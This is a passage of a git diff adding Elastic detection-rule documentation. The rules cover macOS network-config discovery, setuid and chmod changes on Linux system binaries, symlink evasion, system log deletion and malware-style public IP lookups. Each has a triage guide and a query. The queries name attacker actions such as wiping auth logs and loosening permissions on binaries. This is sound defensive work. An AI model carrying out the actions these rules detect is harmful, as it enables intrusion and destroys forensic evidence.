connections, DNS lookups, proxy changes) to identify follow-on behavior consistent with environment mapping or command-and-control. +- Validate the behavior against legitimate software on the host (IT management, VPN/endpoint tools, developer workflows) by matching timestamps to user logins, scheduled jobs, and recent installs/updates. + + +*False positive analysis* + + +- A legitimate IT/admin or troubleshooting script run interactively (e.g., a Python/AppleScript wrapper) may read `/Library/Preferences/SystemConfiguration/preferences.plist` to collect network settings during support, onboarding, or diagnostics. +- A developer or automation workflow may execute a temporary or shared-directory runtime (e.g., `node`/`python` unpacked to `/tmp` or `/Users/Shared`) that reads the plist to detect interfaces, DNS, or proxy configuration for environment-aware builds or tests. + + +*Response and remediation* + + +- Isolate the affected Mac from the network and terminate the offending process tree, then quarantine the on-disk script/binary (especially if staged in /tmp, /private/tmp, /var/tmp, or /Users/Shared) to stop further discovery or follow-on execution. +- Collect and preserve artifacts before cleanup, including the suspicious executable/script, its launch mechanism (LaunchAgents/LaunchDaemons, cron, login items), recent shell history, and a copy of /Library/Preferences/SystemConfiguration/preferences.plist metadata for later scoping and forensics. +- Eradicate persistence by removing unauthorized launch entries and deleting the staged payloads, then re-scan the host with EDR/AV and verify no additional suspicious interpreters or unsigned tools remain in temporary/shared directories. +- Recover by rotating credentials used on the host, reviewing and resetting network settings (DNS, proxy, VPN) if changed, and returning the system to service only after repeated checks show no re-creation of the removed artifacts across a full reboot cycle. +- Escalate to incident response immediately if the same process also makes outbound connections, modifies SystemConfiguration plists, or appears on multiple hosts, and initiate enterprise-wide hunting for the file hash and the associated launcher. +- Harden by restricting execution from temporary/shared directories, enforcing signed/notarized code where possible, auditing who can read sensitive configuration files, and adding allowlists for known management tools that legitimately access the preferences plist. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "open" and + file.path like "/Library/Preferences/SystemConfiguration/preferences.plist" and + (process.name like~ ("python*", "osascript", "perl", "ruby", "node") or + process.executable like ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/var/tmp/*", "/private/var/tmp/*")) and + not Effective_process.executable like "/Applications/Docker.app/Contents/MacOS/Docker" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-binary-path-file-permission-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-binary-path-file-permission-modification.asciidoc new file mode 100644 index 0000000000..1adfe28695 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-binary-path-file-permission-modification.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-system-binary-path-file-permission-modification]] +=== System Binary Path File Permission Modification + +This rule identifies file permission modification events on files located in common system binary paths. Adversaries may attempt to hide their payloads in the default Linux system directories, and modify the file permissions of these payloads prior to execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Binary Path File Permission Modification* + + +In Linux environments, system binary paths contain critical executables. Adversaries may exploit these by altering file permissions to execute malicious payloads. The detection rule monitors processes like `chmod` and `chown` in key directories, flagging suspicious permission changes. It excludes benign activities, focusing on unauthorized modifications to prevent potential execution of harmful scripts. + + +*Possible investigation steps* + + +- Review the process details to identify the exact command executed, focusing on the process name and arguments, especially those involving `chmod` or `chown` in critical directories like `/bin`, `/usr/bin`, and `/lib`. +- Examine the parent process information, including the executable path and command line, to determine if the process was initiated by a known or trusted application, excluding those like `udevadm`, `systemd`, or `sudo`. +- Check the user account associated with the process to verify if the action was performed by an authorized user or if there are signs of compromised credentials. +- Investigate the file or directory whose permissions were modified to assess its importance and potential impact, focusing on changes to permissions like `4755`, `755`, or `777`. +- Correlate the event with other security alerts or logs to identify any related suspicious activities, such as unauthorized access attempts or unexpected script executions. +- Review recent changes or updates in the system that might explain the permission modification, ensuring they align with legitimate administrative tasks or software installations. + + +*False positive analysis* + + +- System updates and package installations often involve legitimate permission changes in system binary paths. Users can exclude processes with parent executables located in directories like /var/lib/dpkg/info to reduce noise from these activities. +- Administrative scripts or automation tools may execute chmod or chown commands as part of routine maintenance. Exclude processes with parent names such as udevadm, systemd, or sudo to prevent these from being flagged. +- Container initialization processes might trigger permission changes. Exclude processes with parent command lines like runc init to avoid false positives related to container setups. +- Temporary script executions during software installations can cause permission modifications. Exclude processes with parent arguments matching patterns like /var/tmp/rpm-tmp.* to filter out these benign events. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious payloads. +- Terminate any suspicious processes identified as executing `chmod` or `chown` commands in critical system binary paths. +- Revert any unauthorized file permission changes to their original state to ensure system integrity and prevent execution of malicious scripts. +- Conduct a thorough review of system logs and process execution history to identify any additional unauthorized activities or related threats. +- Escalate the incident to the security operations team for further investigation and to determine if the threat has spread to other systems. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of unauthorized permission modifications. +- Review and update access controls and permissions policies to minimize the risk of unauthorized modifications in critical system directories. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "chmod" and +process.args like ( + "/bin/*", "/usr/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*", "/lib/*", "/usr/lib/*", "/lib64/*", "/usr/lib64/*" +) and +process.args in ("4755", "755", "000", "777", "444", "+x") and not ( + process.args in ( + "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod", "/usr/bin/restic", "/usr/local/bin/ack-tool", "/usr/lib/policykit-1/polkit-agent-helper-1", + "/usr/local/bin/deploy-entrypoint.sh", "/usr/local/bin/mc", "/usr/local/bin/start.sh", "/usr/local/sbin/MySQLBackups/mysql_backup.sh", + "/usr/bin/coreutils", "/usr/bin/docker-compose", "/usr/bin/cri-dockerd", "/usr/sbin/mkfs.ext5", "/usr/bin/cyclonedx", "/usr/bin/distro", + "/usr/bin/telegraf", "/usr/bin/jq", "/usr/bin/google-chrome", "/usr/sbin/login_duo" + ) or + process.args like "/usr/lib/omnissa/*" or + process.parent.executable like ( + "/tmp/newroot/*", "/var/lib/dpkg/*", "/usr/libexec/postfix/post-install", "/kaniko/executor", "./install_viewagent.sh", "/bin/make" + ) or + process.parent.args like ( + "/var/lib/dpkg/*", "/usr/lib/postfix/bin/post-install", "/usr/lib/postfix/sbin/post-install", "/usr/libexec/postfix/post-install", + "./install_viewagent.sh", "/usr/lib/omnissa/*", "/var/tmp/rpm-tmp.*" + ) or + process.parent.name in ("udevadm", "systemd", "entrypoint", "sudo", "dart") or + process.parent.command_line == "runc init" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-binary-symlink-to-suspicious-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-binary-symlink-to-suspicious-location.asciidoc new file mode 100644 index 0000000000..33186e7d45 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-binary-symlink-to-suspicious-location.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-system-binary-symlink-to-suspicious-location]] +=== System Binary Symlink to Suspicious Location + +This rule detects the creation of a symbolic link from a system binary to a suspicious and writable location. This activity may indicate an attacker's attempt to evade detection by behavioral rules that depend on predefined process parent/child relationships. By executing the symlinked variant of a binary instead of the original, the attacker aims to bypass these rules. Through the new_terms rule type, this rule can identify uncommon parent processes that may indicate the presence of a malicious symlink. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Binary Symlink to Suspicious Location* + + +Symbolic links in Linux create shortcuts to files or directories, allowing flexible file management. Adversaries exploit this by linking system binaries to writable, suspicious locations, aiming to bypass security measures that monitor standard execution paths. The detection rule identifies unusual parent processes and symbolic link creation to these locations, flagging potential evasion attempts. + + +*Possible investigation steps* + + +- Review the parent process executable (process.parent.executable) to determine if it is a known and legitimate process that should be creating symbolic links. +- Examine the specific system binary involved (process.args) to verify if it is commonly used in the environment and assess if its redirection to a suspicious location is justified. +- Investigate the destination path of the symbolic link (process.args) to determine if it is a writable and potentially malicious location such as /tmp, /dev/shm, or /var/tmp. +- Check for any recent or concurrent alerts or logs related to the same parent process or destination path to identify potential patterns or repeated attempts. +- Assess the user account associated with the process (if available) to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate with other security tools or logs to identify any additional suspicious activities or anomalies around the time of the alert. + + +*False positive analysis* + + +- Routine system maintenance tasks may create symbolic links in monitored directories. Exclude known maintenance scripts or processes like mkinitcpio and dracut from triggering alerts by adding them to the exception list. +- Software installations or updates often involve creating symbolic links in writable directories. Identify and whitelist trusted installation processes or package managers to prevent unnecessary alerts. +- Development environments may frequently use symbolic links for testing purposes. Consider excluding specific user directories or development tools that are known to create such links regularly. +- Backup or synchronization tools might create symbolic links as part of their operation. Verify and exclude these tools if they are part of a legitimate and routine process. +- Custom scripts or automation tools used within the organization might trigger this rule. Review and whitelist these scripts if they are verified to be safe and necessary for business operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as creating symbolic links to writable locations, especially those with uncommon parent processes. +- Remove any unauthorized symbolic links from system binaries to suspicious locations, ensuring the integrity of the original binaries. +- Conduct a thorough review of user accounts and permissions on the affected system to identify and disable any compromised accounts or unnecessary elevated privileges. +- Restore affected binaries and system files from a known good backup to ensure no tampered files remain. +- Monitor the system for any further attempts to create unauthorized symbolic links, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:exec and +process.parent.executable:(* and not (/bin/make or /sbin/weak-modules or /usr/bin/make or /usr/sbin/weak-modules)) and +(process.name:ln or process.name:busybox and process.args:ln or process.name:cp and process.args:--symbolic-link) and +process.args:( + ( + /bin/* or /lib/* or /lib64/* or /sbin/* or /usr/bin/* or /usr/lib/* or /usr/lib64/* or /usr/local/bin/* or + /usr/local/lib/* or /usr/local/lib64/* or /usr/local/sbin/* or /usr/sbin/* + ) and ( + /*/.* or /dev/shm/* or /home/* or /root/* or /tmp/* or /var/tmp/* + ) and + not ( + /usr/bin/coreutils or /tmp/mkinitcpio* or /var/tmp/dracut* or /var/tmp/mkinitramfs* or /var/tmp/pamac-build* or + /var/tmp/portage/* or usr/lib/python3/dist-packages/* + ) +) and not +process.parent.args:(/usr/bin/qemu-aarch64-static or /usr/sbin/weak-modules or /usr/share/initramfs-tools/hooks/ntfs_3g or /var/tmp/rpm-tmp*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-log-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-log-file-deletion.asciidoc new file mode 100644 index 0000000000..1a8ea6aec1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-log-file-deletion.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-system-log-file-deletion]] +=== System Log File Deletion + +Identifies the deletion of sensitive Linux system logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Log File Deletion* + + +System logs are crucial for monitoring and auditing activities on Linux systems, providing insights into system events and user actions. Adversaries may delete these logs to cover their tracks, hindering forensic investigations. The detection rule identifies suspicious deletions of key log files, excluding benign processes like compression tools, to flag potential evasion attempts. This helps security analysts quickly respond to and investigate unauthorized log deletions. + + +*Possible investigation steps* + + +- Review the specific file path involved in the deletion event to determine which log file was targeted, using the file.path field from the alert. +- Investigate the process responsible for the deletion by examining the process.name and related process metadata to identify any suspicious or unauthorized activity. +- Check for any recent login or session activity around the time of the log deletion by reviewing other logs or authentication records, focusing on the /var/log/auth.log and /var/log/secure files if they are still available. +- Analyze the user account associated with the deletion event to determine if it has a history of suspicious activity or if it was potentially compromised. +- Correlate the deletion event with other security alerts or anomalies in the system to identify any patterns or related incidents that might indicate a broader attack or compromise. +- Assess the impact of the log deletion on the system's security posture and determine if any critical forensic evidence has been lost, considering the importance of the deleted log file. + + +*False positive analysis* + + +- Compression tools like gzip may trigger false positives when they temporarily delete log files during compression. To mitigate this, ensure gzip is included in the exclusion list within the detection rule. +- Automated system maintenance scripts might delete or rotate log files as part of routine operations. Review these scripts and add their process names to the exclusion list if they are verified as non-threatening. +- Docker-related processes, such as dockerd, can also cause false positives when managing container logs. Confirm these activities are legitimate and include dockerd in the exclusion list to prevent unnecessary alerts. +- Custom backup or log management tools may delete logs as part of their normal function. Identify these tools and add their process names to the exclusion list after verifying their benign nature. +- Scheduled tasks or cron jobs that manage log files should be reviewed. If they are confirmed to be safe, their associated process names should be added to the exclusion list to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data tampering. +- Conduct a thorough review of user accounts and permissions on the affected system to identify any unauthorized access or privilege escalation. +- Restore deleted log files from backups if available, to aid in further forensic analysis and to maintain system integrity. +- Implement enhanced monitoring on the affected system and similar systems to detect any further unauthorized log deletions or suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the scope of the breach. +- Review and update security policies and configurations to ensure that only authorized processes can delete critical log files, leveraging access controls and audit policies. +- Consider deploying additional endpoint detection and response (EDR) solutions to improve visibility and detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "deletion" and file.path in ( + "/var/run/utmp", "/var/log/wtmp", "/var/log/btmp", "/var/log/lastlog", "/var/log/faillog", + "/var/log/syslog", "/var/log/messages", "/var/log/secure", "/var/log/auth.log", "/var/log/boot.log", + "/var/log/kern.log", "/var/log/dmesg" +) and not ( + process.name in ("gzip", "executor", "dockerd") or + (process.executable in ("/usr/bin/podman", "/dev/fd/3") and file.name == "lastlog") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-public-ip-discovery-via-dns-query.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-public-ip-discovery-via-dns-query.asciidoc new file mode 100644 index 0000000000..56ec3e96d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-public-ip-discovery-via-dns-query.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-20-system-public-ip-discovery-via-dns-query]] +=== System Public IP Discovery via DNS Query + +Identifies DNS queries to known public IP address lookup web services. Malwares tend to perform this action to assess potential targets. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1016/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System Public IP Discovery via DNS Query* + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes or malicious scripts. +- Verify if the executed process is persistent on the host like common mechanisms Startup folder, task or Run key. +- Review any unusual network, files or registry events by the same process. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts. + + +*False positive analysis* + + +- Trusted domain from an expected process running in the environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Immediately block the identified indicators of compromise (IoCs). +- Implement any temporary network rules, procedures, and segmentation required to contain the attack. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Update firewall rules to be more restrictive. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and dns.question.name != null and process.name != null and +( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "python.exe", "regsvr32.exe", "dllhost.exe", + "node.exe", "javaw.exe", "java.exe", "*.pif", "*.com") or + + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) or + + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + + ?process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe") + ) and + dns.question.name : + ( + "ip-api.com", + "checkip.dyndns.org", + "api.ipify.org", + "api.ipify.com", + "whatismyip.akamai.com", + "bot.whatismyipaddress.com", + "ifcfg.me", + "ident.me", + "ipof.in", + "ip.tyk.nu", + "icanhazip.com", + "curlmyip.com", + "wgetip.com", + "eth0.me", + "ipecho.net", + "ip.appspot.com", + "api.myip.com", + "geoiptool.com", + "api.2ip.ua", + "api.ip.sb", + "ipinfo.io", + "checkip.amazonaws.com", + "wtfismyip.com", + "iplogger.*", + "freegeoip.net", + "freegeoip.app", + "ipinfo.io", + "geoplugin.net", + "myip.dnsomatic.com", + "www.geoplugin.net", + "api64.ipify.org", + "ip4.seeip.org", + "*.geojs.io", + "*portmap.io", + "api.2ip.ua", + "api.db-ip.com", + "geolocation-db.com", + "httpbin.org", + "myip.opendns.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-shells-via-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-shells-via-services.asciidoc new file mode 100644 index 0000000000..d31390fc75 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-shells-via-services.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-system-shells-via-services]] +=== System Shells via Services + +Windows services typically run as SYSTEM and can be used as a privilege escalation opportunity. Malware or penetration testers may run a shell as a service to gain SYSTEM permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + 